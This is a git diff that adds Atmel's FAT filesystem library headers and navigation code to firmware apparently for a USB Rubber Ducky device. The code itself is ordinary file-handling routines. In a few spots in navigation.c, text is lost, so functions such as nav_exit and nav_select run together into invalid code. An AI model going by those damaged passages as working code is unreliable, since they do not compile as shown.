b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/file.h @@ -0,0 +1,225 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FAT 12/16/32 Services. + * + * This file defines a useful set of functions for the file accesses on + * AVR32 devices. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ +#ifndef _FILE_H_ +#define _FILE_H_ + +#include "fs_com.h" +#include "fat.h" + +//_____ D E F I N I T I O N S ______________________________________________ + +//! \name options for file_seek() routine +//! @{ +#define FS_SEEK_SET 0x00 //!< start at the beginning +#define FS_SEEK_END 0x01 //!< start at the end of file and rewind +#define FS_SEEK_CUR_RE 0x02 //!< start at the current position and rewind +#define FS_SEEK_CUR_FW 0x03 //!< start at the current position and foward +//! @} + +//! \name Struture to define a physical memory segment +//! @{ +typedef struct { + uint8_t u8_lun; //!< logical unit(drive) number + uint32_t u32_addr; //!< segment address (unit sector) + uint16_t u16_size; //!< segment size (unit sector), or IN parameter for file_write() and file_read() routines +} Fs_file_segment; +//! @} + + +//_____ D E C L A R A T I O N S ____________________________________________ + +//! This function checks if a file is selected +//! +//! @return true, a file is selected +//! @return false, otherwise +//! +Bool file_ispresent( void ); + +//! This function opens the selected file +//! +//! @param fopen_mode option to open the file :
+//! FOPEN_MODE_R R access, flux pointer = 0, size not modify
+//! FOPEN_MODE_R_PLUS R/W access, flux pointer = 0, size not modify
+//! FOPEN_MODE_W W access, flux pointer = 0, size = 0
+//! FOPEN_MODE_W_PLUS R/W access, flux pointer = 0, size = 0
+//! FOPEN_MODE_APPEND W access, flux pointer = at the end, size not modify
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool file_open( uint8_t fopen_mode ); + +//! This function returns a segment (position & size) in a physical memory corresponding at the file +//! +//! @param segment Pointer on the segment structure:
+//! ->u32_size_or_pos IN, shall contains maximum number of sector to read in file (0 = unlimited)
+//! ->u32_size_or_pos OUT, containt the segment size (unit sector)
+//! ->other IN, ignored
+//! ->other OUT, contains the segment position
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This routine is interesting to read a file via a DMA and avoid the file system decode +//! because this routine returns a physical memory segment without File System information. +//! Note: the file can be fragmented and you must call file_read() for each fragments. +//! @endverbatim +//! +Bool file_read( Fs_file_segment _MEM_TYPE_SLOW_ *segment ); + +//! This function copys in a buffer the file data corresponding at the current position +//! +//! @param buffer buffer to fill +//! @param u16_buf_size buffer size +//! +//! @return number of byte read +//! @return 0, in case of error +//! +uint16_t file_read_buf( uint8_t _MEM_TYPE_SLOW_ *buffer , uint16_t u16_buf_size ); + +//! This function returns the next byte of file +//! +//! @return The byte readed +//! @return EOF, in case of error or end of file +//! +uint16_t file_getc( void ); + +//! This function allocs and returns a segment (position & size) in a physical memory corresponding at the file +//! +//! @param segment Pointer on the segment structure:
+//! ->u32_size_or_pos IN, shall contains the maximum number of sector to write in file
+//! ->u32_size_or_pos OUT, contains the segment size (unit sector)
+//! ->other IN, ignored
+//! ->other OUT, contains the segment position
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This routine is interesting to write a file via a DMA and avoid the file system decode +//! because this routine returns a physical memory segment without File System information. +//! Note: the file can be fragmented and you must call file_write() for each fragments. +//! @endverbatim +//! +Bool file_write( Fs_file_segment _MEM_TYPE_SLOW_ *segment ); + +//! This function sets the end of file at the current position +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This routine is usualy used after the last file_write() call. +//! The file_write() routine uses the sector unit (512B), +//! and you can set a specific byte size with a file_seek() call and fiel_set_eof() call. +//! @endverbatim +//! +Bool file_set_eof( void ); + +//! This function transfer a buffer to a file at the current file position +//! +//! @param buffer data buffer +//! @param u16_buf_size data size +//! +//! @return number of byte write +//! @return 0, in case of error +//! +uint16_t file_write_buf( uint8_t _MEM_TYPE_SLOW_ *buffer , uint16_t u16_buf_size ); + +//! This function writes a byte in the file +//! +//! @param u8_byte byte to write +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool file_putc( uint8_t u8_byte ); + +//! This function returns the position in the file +//! +//! @return Position in file +//! +uint32_t file_getpos( void ); + +//! This function changes the position in the file +//! +//! @param u32_pos number of byte to seek +//! @param u8_whence direction of seek
+//! FS_SEEK_SET , start at the beginning and foward
+//! FS_SEEK_END , start at the end of file and rewind
+//! FS_SEEK_CUR_RE, start at the current position and rewind
+//! FS_SEEK_CUR_FW, start at the current position and foward
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool file_seek( uint32_t u32_pos , uint8_t u8_whence ); + +//! This function checks the beginning of file +//! +//! @return 1 the position is at the beginning of file +//! @return 0 the position isn't at the beginning of file +//! @return FFh error +//! +uint8_t file_bof( void ); + +//! This function checks the end of file +//! +//! @return 1 the position is at the end of file +//! @return 0 the position isn't at the end of file +//! @return FFh error +//! +uint8_t file_eof( void ); + +//! This function flushs the internal cache (file datas and file information) +//! +void file_flush( void ); + +//! This function closes the file +//! +void file_close( void ); + + +#endif // _FILE_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fs_com.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fs_com.h new file mode 100755 index 0000000..c6d6740 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fs_com.h @@ -0,0 +1,258 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FAT 12/16/32 Services. + * + * This file provides a set of definitions for FAT module interface. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ +#ifndef _FAT_COM_H_ +#define _FAT_COM_H_ + +#include "conf_explorer.h" + +//! Used to have a clear code with only one segment to define a variable in project +#undef _GLOBEXT_ +#if (defined _fat_c_) +# define _GLOBEXT_ +#else +# define _GLOBEXT_ extern +#endif + + +//------- Check configuration defined in conf_explorer.h + +#ifndef FS_FAT_12 +# error FS_FAT_12 must be defined with ENABLED or DISABLED in conf_explorer.h +#endif +#ifndef FS_FAT_16 +# error FS_FAT_16 must be defined with ENABLED or DISABLED in conf_explorer.h +#endif +#ifndef FS_FAT_32 +# error FS_FAT_32 must be defined with ENABLED or DISABLED in conf_explorer.h +#endif + +#ifndef FS_MULTI_PARTITION +# error FS_MULTI_PARTITION must be defined with ENABLED or DISABLED in conf_explorer.h +#endif +#ifndef FS_NB_NAVIGATOR +# error FS_NB_NAVIGATOR must be defined in conf_explorer.h +#endif + + +//_____ D E F I N I T I O N S ______________________________________________ + + +//**** Defines used in function parameters + +//! \name Modes of file name control functions +//! @{ +#define FS_NAME_GET true +#define FS_NAME_CHECK false +//! @} + +//! \name Modes of disk serial number function +//! @{ +#define FS_SN_READ true +#define FS_SN_WRITE false +//! @} + +//! \name Modes of disk label function +//! @{ +#define FS_LABEL_READ true +#define FS_LABEL_WRITE false +//! @} + +//! \name Status returned by paste file function +//! @{ +#define COPY_BUSY 0x00 +#define COPY_FAIL 0x01 +#define COPY_FINISH 0x02 +//! @} + +//! \name Date field managed by date control functions +//! @{ +#define FS_DATE_CREATION true +#define FS_DATE_LAST_WRITE false +//! @} + +//! \name File entry types used by many functions +//! @{ +#define FS_FILE true +#define FS_DIR false +//! @} + +//! \name Directory identifier, which corresponding at the first cluster of directory cluster list +//! @{ +#define FS_ID_DIR_EMPTY 0xFFFFFFFF // ID no directory = bad cluster +#define FS_ID_DIR_ROOT 0 // ID of the root directory is always the cluster 0 +//! @} + +//! \name File entry attributes +//! @{ +#define FS_ATTR_FILE ((Byte)0x00) // Normal File attribute +#define FS_ATTR_READ_ONLY ((Byte)0x01) // Read Only File attribute +#define FS_ATTR_HIDDEN ((Byte)0x02) // Hidden File attribute +#define FS_ATTR_SYSTEM ((Byte)0x04) // System File attribute +#define FS_ATTR_VOLUME_ID ((Byte)0x08) // Volume id attribute +#define FS_ATTR_DIRECTORY ((Byte)0x10) // Directory attribute +#define FS_ATTR_ARCHIVE ((Byte)0x20) // Archive attribute +#define FS_ATTR_LFN_ENTRY ((Byte)0x0F) // LFN entry attribute +#define Fat_is_not_a_file ((FS_ATTR_DIRECTORY & fs_g_nav_entry.u8_attr) || (FS_ATTR_VOLUME_ID & fs_g_nav_entry.u8_attr)) +//! @} + +//! \name File open modes +//! @{ +#define FOPEN_READ_ACCESS 0x01 // authorize the read access +#define FOPEN_WRITE_ACCESS 0x02 // authorize the write access +#define FOPEN_CLEAR_SIZE 0x04 // reset size +#define FOPEN_CLEAR_PTR 0x08 // reset flux pointer +#define FOPEN_MODE_R (FOPEN_READ_ACCESS|FOPEN_CLEAR_PTR) //!< R access, flux pointer = 0, size not modify +#define FOPEN_MODE_R_PLUS (FOPEN_READ_ACCESS|FOPEN_WRITE_ACCESS|FOPEN_CLEAR_PTR) //!< R/W access, flux pointer = 0, size not modify +#define FOPEN_MODE_W (FOPEN_WRITE_ACCESS|FOPEN_CLEAR_PTR|FOPEN_CLEAR_SIZE) //!< W access, flux pointer = 0, size = 0 +#define FOPEN_MODE_W_PLUS (FOPEN_READ_ACCESS|FOPEN_WRITE_ACCESS|FOPEN_CLEAR_PTR|FOPEN_CLEAR_SIZE) //!< R/W access, flux pointer = 0, size = 0 +#define FOPEN_MODE_APPEND (FOPEN_WRITE_ACCESS) //!< W access, flux pointer = at the end, size not modify +//! @} + +//! \name Value to signal the end of file after a file_getc() call +#define FS_EOF 0xFFFF + +//! \name Options of format function +//! @{ +#define FS_FORMAT_DEFAULT 0x01 //!< The format routine chooses the better FAT for the device +#define FS_FORMAT_FAT 0x02 //!< Force FAT12 or FAT16 format +#define FS_FORMAT_FAT32 0x03 //!< Force FAT32 format +#define FS_FORMAT_NOMBR_FLAG 0x80 //!< MBR is mandatory for USB device on MacOS, and no MBR is mandatory for CD-ROM USB device on Windows +#define FS_FORMAT_DEFAULT_NOMBR (FS_FORMAT_NOMBR_FLAG | FS_FORMAT_DEFAULT) +#define FS_FORMAT_FAT_NOMBR (FS_FORMAT_NOMBR_FLAG | FS_FORMAT_FAT) +#define FS_FORMAT_FAT32_NOMBR (FS_FORMAT_NOMBR_FLAG | FS_FORMAT_FAT32) +//! @} + + +//**** communication STRUCTURES + +//! \name String types depend of ASCII and UNICODE options +//! @{ +typedef uint16_t UNICODE; +typedef char _MEM_TYPE_SLOW_ * FS_STRING; +typedef UNICODE _MEM_TYPE_SLOW_ * FS_STR_UNICODE; +//! @} + +//! \name Struture to store a pointer on a file +typedef struct { + uint8_t u8_lun; //!< number of the logical driver +#if (FS_MULTI_PARTITION == ENABLED) + uint8_t u8_partition; //!< number of the partition - 1 (0 or 1) (if FS_MULTI_PARTITION == ENABLED) +#endif + uint32_t u32_cluster_sel_dir; //!< first cluster of the directory corresponding at the selected file + uint16_t u16_entry_pos_sel_file; //!< entry offset of selected file in selected directory (unit = FS_SIZE_FILE_ENTRY) +} Fs_index; + + +//**** ERROR CODE + +//! \name File System errors list +//! @{ +#define FS_ERR_HW (FAIL+0) //!< Hardware driver error +#define FS_ERR_NO_FORMAT (FAIL+1) //!< The selected drive isn't formated +#define FS_ERR_NO_PART (FAIL+2) //!< The selected partition doesn't existed +#define FS_ERR_NO_SUPPORT_PART (FAIL+3) //!< The selected partition isn't supported +#define FS_ERR_TOO_FILE_OPEN (FAIL+4) //!< The navigation have already opened a file +#define FS_ERR_END_OF_DRIVE (FAIL+5) //!< There are not other driver +#define FS_ERR_BAD_POS (FAIL+6) //!< The position is over the file +#define FS_ERR_FS (FAIL+7) //!< File system error +#define FS_ERR_NO_FIND (FAIL+8) //!< File no found +#define FS_ERR_ENTRY_EMPTY (FAIL+9) //!< File entry empty +#define FS_ERR_ENTRY_BAD (FAIL+10) //!< File entry bad +#define FS_ERR_ENTRY_BADTYPE (FAIL+11) //!< File entry type don't corresponding +#define FS_ERR_NO_DIR (FAIL+12) //!< The selected file isn't a directory +#define FS_ERR_NO_MOUNT (FAIL+13) //!< The partition isn't mounted +#define FS_ERR_NO_FILE_SEL (FAIL+14) //!< There are no selected file +#define FS_NO_LAST_LFN_ENTRY (FAIL+15) //!< The file entry isn't the last long file entry + +#define FS_ERR_ID_FILE (FAIL+17) //!< The file identifier is bad +#define FS_ERR_NO_FILE (FAIL+18) //!< The selected file entry isn't a file +#define FS_LUN_WP (FAIL+19) //!< Drive is in read only mode +#define FS_ERR_READ_ONLY (FAIL+20) //!< File is on read access only +#define FS_ERR_NAME_INCORRECT (FAIL+21) //!< The name don't corresponding at the filter name +#define FS_ERR_FILE_NO_OPEN (FAIL+22) //!< No file is opened +#define FS_ERR_HW_NO_PRESENT (FAIL+23) //!< Device is not present +#define FS_ERR_IS_ROOT (FAIL+24) //!< There aren't parent because the current directory is a root directory +#define FS_ERR_OUT_LIST (FAIL+25) //!< The position is outside the cluster list +#define FS_ERR_NO_FREE_SPACE (FAIL+26) //!< No free cluster found in FAT +#define FS_ERR_INCORRECT_NAME (FAIL+27) //!< Incorrect name, this one cannot contain any of the following characters \/:*?"<>| +#define FS_ERR_DIR_NOT_EMPTY (FAIL+28) //!< This function erases only file and empty directory +#define FS_ERR_WRITE_ONLY (FAIL+29) //!< File is on write access only +#define FS_ERR_MODE_NOAVIALABLE (FAIL+30) //!< This open mode isn't available +#define FS_ERR_EOF (FAIL+31) //!< End of file +#define FS_ERR_BAD_SIZE_FAT (FAIL+32) //!< The disk size is not supported by selected FAT format +#define FS_ERR_COMMAND (FAIL+33) //!< This command is not supported +#define FS_ERR_BUFFER_FULL (FAIL+34) //!< Buffer is too small +#define FS_ERR_COPY_DIR (FAIL+35) //!< Directory copy is not supported +#define FS_ERR_COPY_RUNNING (FAIL+36) //!< A copy action is always running +#define FS_ERR_COPY_IMPOSSIBLE (FAIL+37) //!< The copy is impossible +#define FS_ERR_BAD_NAV (FAIL+38) //!< The navigator identifier doesn't existed +#define FS_ERR_FILE_OPEN (FAIL+39) //!< The file is already opened +#define FS_ERR_FILE_OPEN_WR (FAIL+40) //!< The file is already opened in write mode +#define FS_ERR_FILE_EXIST (FAIL+41) //!< The file is already existed +#define FS_ERR_NAME_TOO_LARGE (FAIL+42) //!< The file name is too large (>260 characters) +#define FS_ERR_DEVICE_TOO_SMALL (FAIL+43) //!< The disk size is too small for format routine + +#define FS_ERR_PL_NOT_OPEN (FAIL+50) //!< The play list isn't opened +#define FS_ERR_PL_ALREADY_OPEN (FAIL+51) //!< The play list is already opened +#define FS_ERR_PL_LST_END (FAIL+52) //!< You are at the end of play list +#define FS_ERR_PL_LST_BEG (FAIL+53) //!< You are at the beginning of play list +#define FS_ERR_PL_OUT_LST (FAIL+54) //!< You are outside of the play list +#define FS_ERR_PL_READ_ONLY (FAIL+55) //!< Impossible to modify the play list +//! @} + + +//! \name Compilation feature levels +//! @{ +#define FSFEATURE_READ 0x00 //!< All read functions +#define FSFEATURE_WRITE 0x02 //!< nav_file_copy(), nav_file_paste(), nav_file_del(), file_create(), file_open(MODE_WRITE), file_write(), file_putc() +#define FSFEATURE_WRITE_COMPLET 0x06 //!< FSFEATURE_WRITE + nav_drive_format(), nav_dir_make(), nav_file_rename(), nav_file_dateset(), nav_file_attributset() +#define FSFEATURE_ALL 0xFF //!< All file system module +//! @} + + +//! \name Status type for the file system +typedef uint8_t Fs_status; +//! \name Global status of file system module (used to return error number) +_GLOBEXT_ _MEM_TYPE_SLOW_ Fs_status fs_g_status; + +#endif // _FAT_COM_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/navigation.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/navigation.c new file mode 100755 index 0000000..96f10e8 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/navigation.c @@ -0,0 +1,2409 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FAT 12/16/32 Services. + * + * This file defines a useful set of functions for file navigation. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ +//_____ I N C L U D E S ___________________________________________________ +#include// Use of toupper + +#include "conf_explorer.h" +#include "navigation.h" +#include "file.h" +#include LIB_CTRLACCESS + + +//_____ M A C R O S ________________________________________________________ + + +//_____ D E F I N I T I O N S ______________________________________________ + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) +//! Holds the current ID transfer used by the internal copy-paste routines + _MEM_TYPE_SLOW_ uint8_t g_id_trans_memtomem = ID_STREAM_ERR; +#endif + +#if (FS_NB_NAVIGATOR > 1) +//! Holds the current navigator selected + _MEM_TYPE_SLOW_ uint8_t fs_g_u8_nav_selected; +#endif + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) + _MEM_TYPE_SLOW_ Fs_file_segment g_segment_src; + _MEM_TYPE_SLOW_ Fs_file_segment g_segment_dest; +#endif + +#define SIZE_OF_SPLIT_COPY ((1*1024*1024L)/512L) // 1MB - Unit sector (max = 0xFFFF) + + +//_____ D E C L A R A T I O N S ____________________________________________ + +//********************************************************************** +//************************ String format select ************************ +#if( (FS_ASCII == ENABLED) && (FS_UNICODE == ENABLED)) +//! This function selects the UNICODE mode for all routines with FS_STRING parameter +//! +//! @verbatim +//! If you have enabled the FS_ASCII AND FS_UNICODE define +//! then FS_STRING parameter can be a ASCII or UNICODE string. +//! @endverbatim +//! +void nav_string_unicode( void ) +{ + g_b_unicode = true; +} +//! This function selects the ASCII mode for all routines with FS_STRING parameter +//! +//! @verbatim +//! If you have enabled the FS_ASCII AND FS_UNICODE define +//! then FS_STRING parameter can be a ASCII or UNICODE string. +//! @endverbatim +//! +void nav_string_ascii( void ) +{ + g_b_unicode = false; +} +#endif + +//! This function selects the LENGTH string mode for all routines with FS_STRING parameter +//! +//! @verbatim +//! In LENGTH string mode when you call a routine with FS_STRING parameter +//! only the size (16bits, unit ASCII or UNICODE) is returned in the first 16bits of string array. +//! @endverbatim +//! +void nav_string_length_enable( void ) +{ + g_b_string_length = true; +} +//! This function deselects the LENGTH string mode for all routines with FS_STRING parameter +//! +//! @verbatim +//! In LENGTH string mode when you call a routine with FS_STRING parameter +//! only the size (16bits, unit ASCII or UNICODE) is returned in the first 16bits of string array. +//! @endverbatim +//! +void nav_string_length_disable( void ) +{ + g_b_string_length = false; +} + +//********************************************************************** +//********************** To optimize speed access ********************** + +//! This function disables the disk check before each actions on disk +//! +//! @verbatim +//! By default, between each read/write access a check disk (test unit ready) is sended at device. +//! This check can reduce the speed access on specific disk. +//! @endverbatim +//! +void nav_checkdisk_disable( void ) +{ + g_b_no_check_disk = true; +} + +//! This function enables the disk check before each actions on disk +//! +//! @verbatim +//! By default, between each read/write access a check disk (test unit ready) is sended at device. +//! This check can reduce the speed access on specific disk. +//! @endverbatim +//! +void nav_checkdisk_enable( void ) +{ + g_b_no_check_disk = false; +} + + +//********************************************************************** +//************** Initialise or Stop navigation module ****************** + + +//! This function resets ALL navigations to init file system core +//! +//! @verbatim +//! Call this at the program startup or before a new session (e.g. USB Device exit) +//! @endverbatim +//! +void nav_reset( void ) +{ +#if ( (FS_ASCII == ENABLED) && (FS_UNICODE == ENABLED)) + g_b_unicode = true; +#endif + g_b_string_length = false; + g_b_no_check_disk = false; + + fat_cache_reset(); + fat_cache_clusterlist_reset(); + +#if (FS_NB_NAVIGATOR > 1) + { + uint8_t i; + // Reset variables of each navigators + for( i=0 ; i!=FS_NB_NAVIGATOR ; i++ ) + { + nav_select(i); + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_UNM; // By default the fat isn't mounted + fs_g_nav.u8_lun = 0xFF; // By default don't select a drive +#if (FS_MULTI_PARTITION == ENABLED) + fs_g_nav.u8_partition=0; // By default select the first partition +#endif + Fat_file_close(); // By default no file is opened + fs_g_nav.b_mode_nav_single = false; // By default display files and directories + } + // By default select the navigator 0 + fs_g_u8_nav_selected = 0; + } +#else + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_UNM; // By default the fat isn't mounted + fs_g_nav.u8_lun = 0xFF; // By default don't select a drive +# if (FS_MULTI_PARTITION == ENABLED) + fs_g_nav.u8_partition=0; // By default select the first partition +# endif + Fat_file_close(); // By default no file is opened +#endif // (FS_NB_NAVIGATOR > 1) +} + + +//! This function flush ALL navigations before exit of file system core +//! +//! @verbatim +//! Call this at the program exit or before a USB Device session +//! @endverbatim +//! +void nav_exit( void ) +{ + // If you have opened files then close them +#if (FS_NB_NAVIGATOR > 1) + uint8_t u8_i; + for( u8_i=0; u8_i 1) + if( fs_g_u8_nav_selected != u8_idnav ) + { + fat_invert_nav( fs_g_u8_nav_selected ); // Deselect previous navigator = Select default navigator + fat_invert_nav( u8_idnav ); // Select new navigator + fs_g_u8_nav_selected = u8_idnav; + } +#endif + return true; +} + + +//! This function returns the navigation identifier used +//! +//! @return u8_idnav navigator identifier selected +//! +uint8_t nav_get( void ) +{ +#if (FS_NB_NAVIGATOR > 1) + return fs_g_u8_nav_selected; +#else + return 0; +#endif +} + + +//! This function copys the navigator information to another navigator +//! +//! @param u8_idnav navigator identifier where the main navigator will be copied +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Use this routine to select quickly the same file in another navigator +//! @endverbatim +//! +Bool nav_copy( uint8_t u8_idnav ) +{ +#if (FS_NB_NAVIGATOR > 1) + if( fs_g_u8_nav_selected == u8_idnav ) + return false; // It is the source and destination is the same navigator + if( 0 == u8_idnav ) + u8_idnav = fs_g_u8_nav_selected; // the default navigator is invert with the current navigator + if( 0 == u8_idnav) + return false; // It is the source and destination is the same navigator + fat_copy_nav( u8_idnav ); + return true; +#else + u8_idnav++; + return false; // Copy impossible because only one navigator is available +#endif +} + + +//********************************************************************** +//********************* Drive navigation functions ********************* + + +//! This function returns the number of devices availabled +//! +//! @return number of devices, 0 = NO DEVICE AVAILABLED +//! +//! @verbatim +//! This value may be dynamic because it depends of memory drivers (e.g. Mass Storage disk on USB host mode) +//! @endverbatim +//! +uint8_t nav_drive_nb( void ) +{ + return get_nb_lun(); // Number of devices = Number of lun +} + + +//! This function selects a drive in navigator but don't mount the disk partition +//! +//! @param u8_number device number (0 to nav_drive_nb()-1 ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_drive_set( uint8_t u8_number ) +{ + if ( !fat_check_noopen() ) + return false; + + if (u8_number >= get_nb_lun() ) + { + fs_g_status = FS_ERR_END_OF_DRIVE; // The drive number is bad + return false; + } + + if ( fs_g_nav.u8_lun == u8_number) + return true; // It is the same drive number + + // Go to the device + fs_g_nav.u8_lun = u8_number; + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_UNM; +#if (FS_MULTI_PARTITION == ENABLED) + fs_g_nav.u8_partition=0; // by default select the first partition +#endif + return true; +} + + +//! This function returns the selected drive number +//! +//! @return 0 to nav_drive_nb()-1 +//! @return 0xFF in case of no drive selected +//! +uint8_t nav_drive_get( void ) +{ +#if (FS_MULTI_PARTITION == ENABLED) + if(0xFF == fs_g_nav.u8_lun) + return 0xFF; + return ((fs_g_nav.u8_lun*4) + fs_g_nav.u8_partition); // Maximum 4 partitions per device +#else + return (fs_g_nav.u8_lun); +#endif +} + + +//! This function returns the selected drive letter +//! +//! @return 'A','B',... +//! @return 'X', in case of no drive selected +//! +uint8_t nav_drive_getname( void ) +{ + if(0xFF == fs_g_nav.u8_lun) + return 'X'; +#if (FS_MULTI_PARTITION == ENABLED) + return ('A' + (fs_g_nav.u8_lun*4) + fs_g_nav.u8_partition); // Maximum 4 partitions per device +#else + return ('A' + fs_g_nav.u8_lun); +#endif +} + + +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) +//! This function formats the current drive (=disk) +//! +//! @param u8_fat_type Select the format type
+//! FS_FORMAT_DEFAULT, The system chooses the better FAT format
+//! FS_FORMAT_FAT, The FAT12 or FAT16 is used to format the drive, if possible (disk space <2GB)
+//! FS_FORMAT_FAT32, The FAT32 is used to format the drive, if possible (disk space >32MB)
